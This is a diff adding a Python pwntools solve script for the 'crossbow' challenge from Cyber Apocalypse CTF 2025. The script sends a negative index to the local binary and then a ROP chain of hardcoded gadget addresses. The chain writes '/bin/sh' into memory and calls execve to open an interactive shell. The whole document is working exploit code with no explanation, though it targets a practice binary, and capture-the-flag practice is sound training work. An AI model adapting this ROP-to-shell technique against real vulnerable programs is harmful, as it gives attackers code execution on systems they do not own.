solve script

cyberapocalypse_ctf_2025_tales_from_eldoria/crossbow/a.py

@@ -0,0 +1,37 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./crossbow", checksec=False)
+r = process()
+
+# funcs
+s = lambda a: r.sendlineafter(b": ", a)
+ss = lambda a: r.sendlineafter(b"> ", a)
+
+# gadgets
+pop_rax = 0x401001
+pop_rdi = 0x401d6c
+pop_rsi = 0x40566b
+pop_rdx = 0x401139
+syscall = 0x4015d3
+mov_rax_rdi = 0x4020f5
+
+# buf
+buf = b"JUNK"*2
+buf += p64(pop_rax)
+buf += b"/bin/sh\0"
+buf += p64(pop_rdi)
+buf += p64(0x40d500)
+buf += p64(mov_rax_rdi)
+buf += p64(pop_rax)
+buf += p64(59)
+buf += p64(pop_rsi)
+buf += p64(0)
+buf += p64(pop_rdx)
+buf += p64(0)
+buf += p64(syscall)
+s(b"-2")
+ss(buf)
+
+r.interactive()